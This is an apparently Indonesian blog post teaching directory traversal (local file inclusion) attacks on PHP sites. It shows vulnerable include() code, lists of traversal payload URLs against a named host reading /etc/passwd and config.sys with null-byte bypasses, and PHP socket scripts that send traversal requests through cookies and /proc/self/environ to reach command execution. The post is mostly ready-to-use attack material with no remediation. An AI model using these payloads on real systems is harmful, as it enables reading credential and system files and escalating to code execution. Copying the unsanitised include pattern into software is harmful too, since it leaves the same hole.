Directory Traversal Attacks (Local File Inclusion)

Directory Traversal Attacks adalah Salah satu metode Webhacking yang memungkinkan penyerang untuk mengakses direktori yang terlarang (Root Direktori) dari luar. Apakah direktori terlarang? Direktori yang digunakan oleh administrator untuk keperluan web dan system.

Dengan berhasilnya penyerang mengakses direktori terlarang berkemungkinan besar bisa melihat, mengubah atau mengeksekusi perintah-perintah dari luar webserver. Directory Traversal sering disebut juga dengan LFI (Local File Inclusion), ../ (dot dot slash) attack, Directory Climbing, and Backtracking.

Contoh Bug PHP pada HTTP Request Headers URL/GET
Ditulis dalam PHP:
Code: [Select]

$color = 'red.php';
if (isset($_GET['color']))
   $color = $_GET['color'];
include ( '/home/pc.ihsana.com/thema/' . $color );
?>


Lantas bagaimana cara penyerangan? untuk Request Headers URL bisa dilakukan dengan menggunakan URL pada browser, seperti contoh:

Linux
code:
- http://pc.ihsana.com/?color=../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd
- http://pc.ihsana.com/?color=../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd
- http://pc.ihsana.com/?color=../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd.html
- http://pc.ihsana.com/?color=../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd.jpg
- http://pc.ihsana.com/?color=..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc/passwd
- http://pc.ihsana.com/?color=../..//../..//../..//../..//../..//../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
- http://pc.ihsana.com/?color=.\\./.\\./.\\./.\\./.\\./.\\./.\\./.\\./.\\./.\\./.\\./.\\./.\\./.\\./.\\./.\\./.\\./.\\./.\\./.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

IIS
Code: [Select]

- http://pc.ihsana.com/?color=../../../../../../../../../../../../../../../../../../../../../../../../../config.sys
- http://pc.ihsana.com/?color=../../../../../../../../../../../../../../../../../../../../../../../../../config.sys
- http://pc.ihsana.com/?color=../../../../../../../../../../../../../../../../../../../../../../../../../config.sys%2500.html
- http://pc.ihsana.com/?color=../../../../../../../../../../../../../../../../../../../../../../../../../config.sys%2500.jpg
- http://pc.ihsana.com/?color=..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\config.sys
- http://pc.ihsana.com/?color=../..//../..//../..//../..//../..//../..//../..//../..//../..//../..//../..//../..//../..//config.sys
- http://pc.ihsana.com/?color=/.\./.\./.\./.\./.\./.\./c:\config.sys
- http://pc.ihsana.com/?color=c:\config.sys

Berapa banyak ../ (dot dot slash)? tergantung direktori dan file apa yang anda inginkan. Lantas apakah tujuan memberi '' dibelakang nama file? tujuannya untuk melewati/bypass security..

Contoh Bug PHP pada HTTP Request Headers COOKIE/POST
Ditulis dalam PHP:
Code: [Select]

$color = 'red.php';
if ( isset( $_COOKIE['color'] ) )
   $color = $_COOKIE['color'];
include ( '/home/pc.ihsana.com/thema/' . $color );
?>

Apakah penyerangan untuk Request Headers COOKIE/POST bisa melalui URL? tentu tidak, Request Headers untuk cookie/post biasanya menggunakan tool, tool bisa berupa scripts PHP, Software atau add ons Temper pada Mozila Firefox.
Berikut ini adalah contoh scripts PHP untuk melakukan penyerangan.
Code: [Select]

GET /lfi.php HTTP/1.0
Cookie: color=../../../../../../../../../etc/passwd

Ditulis dalam PHP:
Code: [Select]

$sock = fsockopen("pc.ihsana.com","80",$errno,$errstr,30); // koneksi ke target port 80
$get  = "GET  /lfi.php HTTP/1.1\r\n". // path
        "Host: pc.ihsana.com \r\n".
        "Accept: text/html".
        "User-Agent: Mozilla/5.0 \r\n".
    "Cookie: color=../../../../../../../../../etc/passwd \r\n". //Directory Traversal
        "Connection: Close\r\n\r\n";
fputs($sock,$get); // kirimkan request
while (!feof($sock)) { // ambil output
$output .= trim(fgets($sock, 3600))."\n";
print_r ($output);
}
fclose($sock); // tutup koneksi
?>

seberapa bahayakah dir traversal? bagaimana jika file yang dituju sam pada windows, atw backup password xampp, phpmyadmin anda ataupun scripts berbahaya pada server.

penggabungan beberapa bug dengan dir traversal akan bertambah bahaya lagi, seperti dengan metode environ.
perhatikan contoh:
Ditulis dalam PHP:
Code: [Select]

$sock = fsockopen("pc.ihsana.com","80",$errno,$errstr,30); // koneksi ke target port 80
$get  = "GET  /lfi.php?color=../../../../../../proc/self/environ HTTP/1.1\r\n". // dir traversal attack
        "Host: pc.ihsana.com \r\n".
        "Accept: text/html".
        "User-Agent: Mozilla/5.0 \r\n". //Command Exucatation
        "Connection: Close\r\n\r\n";
fputs($sock,$get); // kirimkan request
while (!feof($sock)) { // ambil output
$output .= trim(fgets($sock, 3600))."\n";
print_r ($output);
}
fclose($sock); // tutup koneksi
?>




 ./CMIIW


thanks to explorer crew

0 Response to "Directory Traversal Attacks (Local File Inclusion)"